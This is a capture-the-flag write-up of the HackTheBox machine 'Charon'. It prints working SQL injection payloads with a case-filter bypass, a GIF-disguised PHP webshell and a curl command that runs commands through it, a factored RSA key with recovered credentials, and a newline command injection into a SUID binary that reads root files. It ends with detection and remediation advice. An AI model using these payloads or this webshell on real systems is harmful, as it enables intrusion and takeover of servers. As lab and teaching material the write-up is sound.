Skip to content
Back to all posts

HTB: Charon

· 22 min hard Linux Charon

A multi-stage Linux box requiring two SQL injection points, a case-sensitive keyword filter bypass, a hidden base64 upload field, RSA key factorisation, and a SUID binary with a newline injection to reach root.

Overview

Charon is a hard-rated Linux box running Ubuntu 16.04 with a “Frozen Yogurt Shop” web application backed by MySQL. The attack chain spans five distinct phases, each requiring a different skill: UNION-based SQL injection on the blog, a second SQL injection on a CMS password reset form with keyword filter bypass, file upload abuse via a hidden base64-encoded form field, RSA private key reconstruction from a trivially small 256-bit public key, and command injection through a SUID binary that fails to filter newline characters.

This box rewards patience and methodical enumeration. Each phase builds on the previous one, and there are no shortcuts. The RSA factorisation step is particularly instructive: it demonstrates why key size matters and why 256-bit RSA is equivalent to no encryption at all.

Reconnaissance

nmap -sC -sV -oA scans/charon 10.129.12.221
PortServiceProduct / VersionNotes
22SSHOpenSSH 7.2p2Ubuntu 16.04
80HTTPApache 2.4.18Frozen Yogurt Shop

Two services, both consistent with Ubuntu 16.04. The attack surface is the web application.

Web Application

The site is a static-looking template for a frozen yoghurt shop. The URL singlepost.php?id= immediately stands out as a SQL injection candidate. Directory fuzzing with ffuf reveals /cmsdata/ containing login.php, forgot.php, upload.php, and menu.php.

Attack Surface Analysis

Blog SQL injection (singlepost.php)

The id parameter accepts numeric input and is vulnerable to UNION-based injection. Column enumeration reveals 5 columns, with column 5 reflected in an <h1> tag:

singlepost.php?id=0 UNION SELECT 1,2,3,4,'test'

I extract the database name (freeeze), MySQL user (freeeze@localhost), and confirm that the FILE privilege is not granted. The secure_file_priv setting points to /var/lib/mysql-files/, blocking any INTO OUTFILE approach to the web root. This injection is useful for information gathering but cannot directly deliver a shell.

CMS forgot.php SQL injection

The /cmsdata/forgot.php endpoint accepts an email address and queries the supercms.operators table. Single quotes trigger a database error, confirming unescaped input reaching SQL. Two obstacles exist:

  1. The input requires email format validation (must contain @ and a domain).
  2. The keyword union select (lowercase) is filtered.

Both are bypassed simultaneously. Appending -- @charon.htb satisfies the email format check while the SQL comment prevents the domain suffix from reaching the query. Mixed case (UnIoN SeLeCt) bypasses the case-sensitive keyword filter:

' UnIoN SeLeCt 1,2,3,4-- @charon.htb

The query has 4 columns. Column 2 is reflected in the “Email sent to:” response message. Extracting from supercms.operators:

super_cms_adm : 0b0689ba94f94533400f4decd87fa260

The MD5 hash cracks to tamarro.

Vulnerability Analysis

The application has two distinct SQL injection vulnerabilities, each in a different codebase (blog vs CMS). Both share the same root cause: string concatenation of user input into SQL queries without parameterisation.

The CMS injection is more interesting because of its filter bypass requirements. The keyword filter checks for the exact lowercase string union select. This is CWE-178 (Improper Handling of Case) applied to a security control: the filter is case-sensitive while SQL is case-insensitive. Mixed case trivially bypasses it.

AttributeBlog SQLiCMS SQLi
CWECWE-89 (SQL Injection)CWE-89 + CWE-178 (Case Handling)
TypeUNION-basedUNION-based with filter bypass
ImpactDatabase read (no FILE privilege)CMS credential extraction
PrerequisiteNoneNone

Exploitation

Phase 1: CMS admin access

With the cracked credentials (super_cms_adm:tamarro), I log into the CMS at /cmsdata/login.php. The CMS presents an upload form at upload.php.

Phase 2: file upload bypass

The upload form contains a hidden field with a base64-encoded name: dGVzdGZpbGUx, which decodes to testfile1. Using this decoded value as the POST parameter name with the value shell.php causes the server to save the uploaded file with a .php extension, regardless of the original filename or any extension validation applied to the standard upload field.

I upload a GIF-header PHP webshell:

GIF89a<?php echo system($_GET["c"]); ?>

The GIF89a header bypasses any magic-byte content-type validation. The shell lands at /images/shell.php:

curl "http://10.129.12.221/images/shell.php?c=id"
# uid=33(www-data) gid=33(www-data)

Phase 3: user credentials via RSA factorisation

In the decoder user’s home directory, two files are present: decoder.pub (an RSA public key) and pass.crypt (32 bytes of encrypted data).

The RSA key is only 256 bits. A key this small is trivially factorable. Using factordb.com:

n = p * q
p = 280651103481631199181053614640888768819
q = 303441468941236417171803802700358403049

Reconstructing the private key from p, q, and e (65537) and decrypting pass.crypt (PKCS#1 padded) yields the password: nevermindthebollocks.

ssh [email protected]
# Password: nevermindthebollocks

User flag obtained.

Phase 4: privilege escalation via SUID binary newline injection

A SUID binary exists at /usr/local/bin/supershell, owned by root:freeeze with permissions rwsr-x---. The decoder user is in the freeeze group.

Analysis with ltrace reveals the validation logic:

  1. strcspn checks input against a blacklist: |, backtick, &, >, <, ', ", \, [, ], {, }, ;, #
  2. strncmp verifies the first 7 characters match /bin/ls
  3. If both checks pass, the input is passed to system()

The newline character (\n) is not in the blacklist. Injecting a newline after the required prefix allows a second command to execute:

/bin/ls\ncat /root/root.txt

The system() call interprets the newline as a command separator, executing both /bin/ls and cat /root/root.txt as root.

Root flag obtained.

Post-Exploitation

The web application uses two separate database accounts:

  • Blog: freeeze:fr2424z
  • CMS: supercms:sx2424

Both share a similar password pattern (xx2424x), suggesting a single administrator who reuses password templates. In a production environment, these credentials would warrant immediate rotation and a broader credential audit across the organisation.

The web root is at /var/www/html/freeeze/ rather than the default /var/www/html/, which explains why the blog and CMS share the same virtual host but use different database backends.

Defensive Analysis

PhaseMITRE ATT&CKDetection
Initial AccessT1190WAF with SQL injection signatures; parameterised queries
Credential AccessT1552.001File integrity monitoring on RSA key material
ExecutionT1059.004auditd on shell spawns from Apache processes
PersistenceT1078.003SSH authentication monitoring for decoder account
Privilege EscalationT1068SUID binary audit; input validation review

The SQL injection filter on forgot.php is a cautionary tale about blocklist-based security. The filter checks for the exact lowercase string union select and nothing else. A proper defence would use parameterised queries, rendering the filter unnecessary. If a filter must exist (as a defence-in-depth layer), it should be case-insensitive, match individual keywords, and account for encoding variations.

Remediation

PriorityActionEffortImpact
P0Use parameterised queries for all SQL statementsMediumCritical
P0Remove the hidden base64 upload fieldLowCritical
P0Fix the supershell binary: add \n to the blacklistLowCritical
P1Replace 256-bit RSA keys with 2048-bit minimumLowHigh
P1Audit all SUID binaries on the systemMediumHigh
P1Rotate all database and SSH credentialsLowHigh
P2Implement proper file upload validation (not bypassable)MediumMedium
P2Remove case-sensitive SQL keyword filterLowLow
P3Upgrade Ubuntu 16.04 to a supported releaseHighMedium

The SUID binary’s input validation is a good example of the “denylist problem.” The developer thought of 14 dangerous characters but missed newline. Denylists are inherently incomplete because they require the developer to anticipate every dangerous input. The correct approach is an allowlist: permit only characters that are known safe for the intended use case (/bin/ls arguments need only alphanumerics, forward slash, hyphen, and dot).

Key Takeaways

  1. Case-sensitive security filters are not security filters. SQL is case-insensitive by specification. A filter that blocks union select but allows UnIoN SeLeCt provides zero protection. This same principle applies to XSS filters, path traversal checks, and any other string-matching security control.

  2. 256-bit RSA is not encryption. Modern integer factorisation algorithms can decompose a 256-bit semiprime in milliseconds. The minimum recommended RSA key size is 2048 bits (NIST SP 800-57). Keys below 1024 bits have been practically factorable since the early 2000s.

  3. Newline is a command separator. When system() is called with user-controlled input, newline characters function identically to semicolons as command separators. Input validation for shell commands must account for \n, \r, \0, and all other control characters, not just the obvious metacharacters.

  4. Hidden form fields are not access controls. The base64-encoded field name in the upload form is security through obscurity. Any attacker who views the form HTML and decodes the base64 value can manipulate the upload behaviour. Server-side validation that cannot be influenced by client-side parameters is the only reliable approach.